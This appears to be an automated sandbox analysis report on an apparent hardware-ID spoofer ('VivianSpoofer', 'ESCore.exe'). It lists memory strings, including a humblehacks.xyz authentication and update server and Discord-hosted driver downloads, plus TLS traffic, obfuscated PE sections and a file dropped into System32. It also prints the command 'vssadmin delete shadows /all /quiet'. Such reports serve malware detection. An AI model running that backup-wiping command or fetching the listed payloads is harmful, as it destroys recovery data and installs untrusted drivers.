Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/EVCodeSigningSHA2-g1.crl0K
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://cs-g2-crl.thawte.com/ThawteCSG2.crl0
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://grc.comX
Source: VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928561000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928589000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.000002792848A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://humblehacks.xyz
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0H
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: aYu936prD4.exe, 00000000.00000002.1743213141.0000021B1724F000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16BC8000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.00000279282C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://th.symcb.com/th.crl0
Source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://th.symcb.com/th.crt0
Source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://th.symcd.com0&
Source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: http://www.sysinternals.com
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/723499233851736134/766737019376238642/amifldrv64.sys
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/723499233851736134/766737019376238642/amifldrv64.sysC:
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/723499233851736134/766737019405074472/AMIDEWINx64.EXE
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://cdn.discordapp.com/attachments/723499233851736134/766737019405074472/AMIDEWINx64.EXEC:
Source: aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16BC8000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928589000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.000002792848A000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.00000279282C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz
Source: ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/.%
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/0
Source: ESCore.exe, 00000017.00000002.2105168710.0000000000559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/7
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/:#
Source: VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Ohttps://humblehacks.xyz/Aut.php?auth=10GC:
Source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.000002792848A000.00000004.00000800.00020000.00000000.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105168710.0000000000580000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware
Source: ESCore.exe, 00000017.00000002.2105168710.0000000000580000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware.~
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwareK
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwared
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwarek#
Source: VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928589000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928452000.00000004.00000800.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105168710.0000000000508000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105168710.0000000000559000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105168710.0000000000541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=10
Source: ESCore.exe, 00000017.00000002.2105168710.0000000000511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=11
Source: ESCore.exe, 00000017.00000002.2105168710.0000000000511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=119
Source: ESCore.exe, 00000017.00000002.2105168710.0000000000511000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=11c
Source: ESCore.exe, 00000017.00000002.2105168710.0000000000559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?auth=11j
Source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=
Source: ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=&uuid=&auth=4&cc=user&req=crt&nd=https://humblehacks.xyz/A
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=300
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME
Source: ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Usernam
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/B%G
Source: ESCore.exe, 00000017.00000002.2105168710.0000000000559000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/C
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/F%C
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/N%K
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/P0-P
Source: ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/l
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://humblehacks.xyz/patch/
Source: aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16D63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/patch/Vivian/UpdatePackage.dat
Source: aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16BC8000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.00000279282C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://humblehacks.xyz/patch/Vivian/patch.txt
Source: aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://www.GRC.com/inspectre.htmD
Source: VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.thawte.com/cps0/
Source: ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888

Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.7:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 92.205.3.41:443 -> 192.168.2.7:49858 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Deletes shadow drive data (may be related to ransomware)

Source: aYu936prD4.exe, 00000000.00000000.1256147960.0000021B14B05000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: EACM/C vssadmin delete shadows /all /quiet
Source: VivianSpoofer.exe, 00000011.00000000.1830716816.0000027926456000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: EACM/C vssadmin delete shadows /all /quiet
Source: aYu936prD4.exe	Binary or memory string: EACM/C vssadmin delete shadows /all /quiet
Source: UpdatePackage.dat.0.dr	Binary or memory string: EACM/C vssadmin delete shadows /all /quiet

System Summary

PE file contains section with special chars

Source: aYu936prD4.exe	Static PE information: section name: &-RmNmFv
Source: aYu936prD4.exe	Static PE information: section name: %x/1D?wT
Source: aYu936prD4.exe	Static PE information: section name: ?`jsa?kE
Source: aYu936prD4.exe	Static PE information: section name: Z-/\dJTH
Source: aYu936prD4.exe	Static PE information: section name: uIK@O>Dr
Source: ESCore.exe.0.dr	Static PE information: section name: ')6SX#X;
Source: ESCore.exe.0.dr	Static PE information: section name: j?XIoYBN
Source: ESCore.exe.0.dr	Static PE information: section name: 2X6/(dFr
Source: ESCore.exe.0.dr	Static PE information: section name: 'kq$.m0s
Source: ESCore.exe.0.dr	Static PE information: section name: w+,49HG'
Source: ESCore.exe.0.dr	Static PE information: section name: ^bu[leN@
Source: ESCore.exe.0.dr	Static PE information: section name: =COi:vZ4
Source: ESCore.exe.0.dr	Static PE information: section name: ,:.z0qA6
Source: UpdatePackage.dat.0.dr	Static PE information: section name: eQ*kK6u.
Source: UpdatePackage.dat.0.dr	Static PE information: section name: ;^zEH,>R
Source: UpdatePackage.dat.0.dr	Static PE information: section name: -!c>1D&Y
Source: UpdatePackage.dat.0.dr	Static PE information: section name: Dl:$]-l>
Source: UpdatePackage.dat.0.dr	Static PE information: section name: ,=9EfFRZ

Source: C:\Users\user\Desktop\aYu936prD4.exe

File created: C:\Windows\System32\ESCore.exe

Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4904BD	0_2_00007FFAAC4904BD
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490DCD	0_2_00007FFAAC490DCD
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC494DD0	0_2_00007FFAAC494DD0
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC499DF8	0_2_00007FFAAC499DF8
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC49C2E9	0_2_00007FFAAC49C2E9
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC493355	0_2_00007FFAAC493355
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490CB8	0_2_00007FFAAC490CB8
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4950B8	0_2_00007FFAAC4950B8
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490D08	0_2_00007FFAAC490D08
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4904FD	0_2_00007FFAAC4904FD
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4910FD	0_2_00007FFAAC4910FD
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490D00	0_2_00007FFAAC490D00
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC491137	0_2_00007FFAAC491137
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC491128	0_2_00007FFAAC491128
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4904CD	0_2_00007FFAAC4904CD
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC499CF0	0_2_00007FFAAC499CF0
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4904E5	0_2_00007FFAAC4904E5
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4910E8	0_2_00007FFAAC4910E8
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490D95	0_2_00007FFAAC490D95
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC496D98	0_2_00007FFAAC496D98
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490DB5	0_2_00007FFAAC490DB5
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4905B0	0_2_00007FFAAC4905B0
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC499957	0_2_00007FFAAC499957
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490570	0_2_00007FFAAC490570
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490A0D	0_2_00007FFAAC490A0D
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490605	0_2_00007FFAAC490605
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC4B9E07	0_2_00007FFAAC4B9E07
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC491235	0_2_00007FFAAC491235
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC490A35	0_2_00007FFAAC490A35
Source: C:\Users\user\Desktop\aYu936prD4.exe	Code function: 0_2_00007FFAAC494A1B	0_2_00007FFAAC494A1B
